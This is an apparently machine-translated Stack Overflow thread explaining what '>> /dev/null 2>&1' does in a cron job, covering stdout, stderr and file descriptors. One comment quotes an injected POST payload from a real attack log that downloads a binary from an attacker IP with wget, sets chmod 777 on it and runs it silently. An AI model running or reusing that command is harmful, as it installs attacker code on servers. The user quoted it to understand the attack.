Apa itu / dev / null 2> & 1?

237

Saya menemukan kode ini di /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Ini membilas dan memuat ulang firewall.
Saya tidak mengerti >> /dev/null 2>&1bagiannya.

Apa tujuan memiliki ini di cron? Itu mengesampingkan aturan firewall saya. Bisakah saya menghapus pekerjaan cron ini dengan aman?

beristirahat
sumber
1
FYI: Cara yang lebih pendek untuk membungkam suatu proses adalah >&- 2>&-.
Zaz
22
@Josh: mengapa membuat sesuatu lebih samar daripada yang sudah ada?
endolith
4
@Josh Ini menutup FD masing-masing, yang dapat membuat program dibatalkan.
glglgl
1
adalah 2>&1 > /dev/nullsama dengan > /dev/null 2>&1 ? Sepertinya lebih alami bagi saya ...
edelans
6
@edelans No. Dengan begitu, pengalihan stderr ke stdout, tetapi kemudian hanya stdout asli ke /dev/null—stderr yang akan tetap menjadi output. Coba alat ini di gist.github.com/zigg/344361751c0110419b0f
zigg

Jawaban:

354

>> /dev/nullmengalihkan keluaran standar ( stdout) ke /dev/null, yang membuangnya.

( >>Kelihatannya agak berlebihan, karena >>berarti menambahkan sementara >berarti memotong dan menulis, dan entah menambah atau menulis /dev/nullmemiliki efek bersih yang sama. Saya biasanya hanya menggunakan >untuk alasan itu.)

2>&1mengalihkan kesalahan standar ( 2) ke output standar ( 1), yang kemudian membuangnya juga karena output standar telah dialihkan.

zigg
sumber
7
Apa yang &ditunjukkan oleh simbol di sana 2>&1.
Tidak ada yang
17
& menunjukkan deskriptor file. Biasanya ada 3 deskriptor file - input standar, output, dan kesalahan.
Testing123
1
@Tidak ada yang memeriksa jawaban saya di bawah untuk pertanyaan Anda stackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant
1
Jika & menunjukkan deskriptor file maka mengapa tidak ada & sebelum 2?
user6708151
1
Untuk berjaga-jaga jika orang lain tidak membaca jawaban di bawah ini yang menjelaskan deskriptor file:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain
199

Mari kita pisahkan >> /dev/null 2>&1pernyataan menjadi beberapa bagian:


Bagian 1: >> pengalihan output

Ini digunakan untuk mengarahkan output program dan menambahkan output di akhir file. Lebih...


Bagian 2: /dev/null file khusus

Ini adalah file khusus Pseudo-devices .

Perintah ls -l /dev/nullakan memberi Anda detail file ini:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Apakah kamu mengamati crw? Yang berarti itu adalah file pseudo-perangkat yang tipe -karakter-file khusus yang menyediakan akses serial.

/dev/nullmenerima dan membuang semua input; tidak menghasilkan keluaran (selalu mengembalikan indikasi akhir file saat dibaca). Referensi: Wikipedia


Bagian 3: 2>&1 deskriptor file

Setiap kali Anda menjalankan suatu program, sistem operasi selalu membuka tiga file, input standar, output standar, dan kesalahan standar seperti yang kita tahu setiap kali file dibuka, sistem operasi (dari kernel ) mengembalikan integer non-negatif yang disebut deskriptor file . Deskriptor file untuk file-file ini adalah 0, 1, dan 2, masing-masing.

Jadi 2>&1sederhananya mengatakan redirect standard error ke output standar.

& berarti apa pun yang berikut adalah deskriptor file, bukan nama file.

Singkatnya, dengan menggunakan perintah ini Anda memberi tahu program Anda untuk tidak berteriak saat mengeksekusi.

Apa pentingnya menggunakan 2>&1?

Jika Anda tidak ingin menghasilkan output apa pun, bahkan dalam kasus beberapa kesalahan yang dihasilkan di terminal. Untuk menjelaskan lebih jelas, mari kita perhatikan contoh berikut:

$ ls -l > /dev/null

Untuk perintah di atas, tidak ada output yang dicetak di terminal, tetapi bagaimana jika perintah ini menghasilkan kesalahan:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Meskipun saya mengarahkan output ke /dev/null, itu dicetak di terminal. Itu karena kita tidak mengarahkan output kesalahan /dev/null, jadi untuk mengarahkan output kesalahan juga, kita perlu menambahkan 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1
Vishrant
sumber
2
Contoh yang baik! Tidak tahu '>' tidak akan mengalihkan 'STDERR' sebelumnya.
miao.wang
Dijelaskan dengan baik! sangat informatif. Terima kasih. Ini akan membantu saya untuk memahami serangan web yang baru-baru ini saya temui. Penyerang menyuntikkan beberapa kode berbahaya melalui permintaan POST yang berisi potongan kode di atas.
Sohel Pathan
1
@Vishrant Injected code seperti: POST / user / password? Name [% 23post_render] [] = sistem & nama [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http: /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx adalah IP penyerang dan juga terdaftar sebagai pelecehan di banyak situs. Langkah preventif pertama dan terpenting adalah memblokir IP di firewall serta pola IP tersebut. Attack adalah untuk mengarahkan ulang situs web pihak ketiga pada pemuatan beranda. Log server Apache menunjukkan IP dan permintaan yang meragukan.
Sohel Pathan
5
Saya hanya ingin tahu mengapa kami tidak menggunakan '&' sebelum 2 juga. Bisakah seseorang tolong jelaskan keraguan saya?
Snehasish Karmakar
1
@SnehasishKarmakar pertanyaan yang sah. Saya percaya OS cukup pintar untuk memahami bahwa argumen pertama akan menjadi deskriptor file tetapi >operator redirection, apa pun yang mengikuti operator redirection diharapkan menjadi penambahan lokasi file &sebelumnya 1menunjukkan bahwa itu bukan file di mana aplikasi harus mengarahkan output tetapi deskriptor file. Saya akan menghargai jika seseorang dapat menambahkan lebih detail dari komentar ini.
Vishrant
58

Ini adalah cara untuk menjalankan program dengan diam-diam, dan menyembunyikan semua hasilnya.

/dev/nulladalah objek sistem file khusus yang membuang semua yang tertulis di dalamnya. Mengarahkan aliran ke dalamnya berarti menyembunyikan output program Anda.

Bagian ini 2>&1berarti "redirect aliran kesalahan ke aliran output", jadi ketika Anda mengarahkan aliran output, aliran kesalahan akan dialihkan juga. Bahkan jika program Anda menulis stderrsekarang, output itu akan dibuang juga.

dasblinkenlight
sumber
37
Sebenarnya, 2>&1sebenarnya pengalihan stderrke stdout. Perbedaan antara ini dan apa yang Anda klaim paling baik diilustrasikan dengan menukar urutan arahan, misalnya2>&1 >/dev/null .
zigg
15

/dev/null adalah file standar yang membuang semua yang Anda tulis padanya, tetapi melaporkan bahwa operasi penulisan berhasil.

1adalah output standar dan 2kesalahan standar.

2>&1 mengalihkan kesalahan standar ke output standar. &1menunjukkan deskriptor file (output standar), jika tidak (jika Anda hanya menggunakan 1) Anda akan mengarahkan kesalahan standar ke file bernama 1. [any command] >>/dev/null 2>&1mengalihkan semua kesalahan standar ke output standar, dan menulis semua itu ke /dev/null.

Yuriy
sumber
7

saya menggunakan >> /dev/null 2>&1 untuk cronjob diam. Seorang cronjob akan melakukan pekerjaan itu, tetapi tidak mengirim laporan ke email saya.

Sejauh yang saya tahu, jangan hapus /dev/null. Ini berguna, terutama ketika Anda menjalankan cPanel , ini dapat digunakan untuk membuang laporan cronjob.

Kristen
sumber
2

Seperti yang dijelaskan oleh yang lain, menulis ke / dev / null menghilangkan output dari suatu program. Biasanya cron mengirim email untuk setiap output dari proses yang dimulai dengan cronjob. Jadi dengan menulis output ke / dev / null Anda mencegah spam jika Anda telah menetapkan alamat Anda di cron.

FSMaxB
sumber
0

Edit /etc/conf.apf. Setel DEVEL_MODE="0". DEVEL_MODEdiatur ke 1akan menambahkan tugas cron untuk menghentikan apf setelah 5 menit.

dstonek
sumber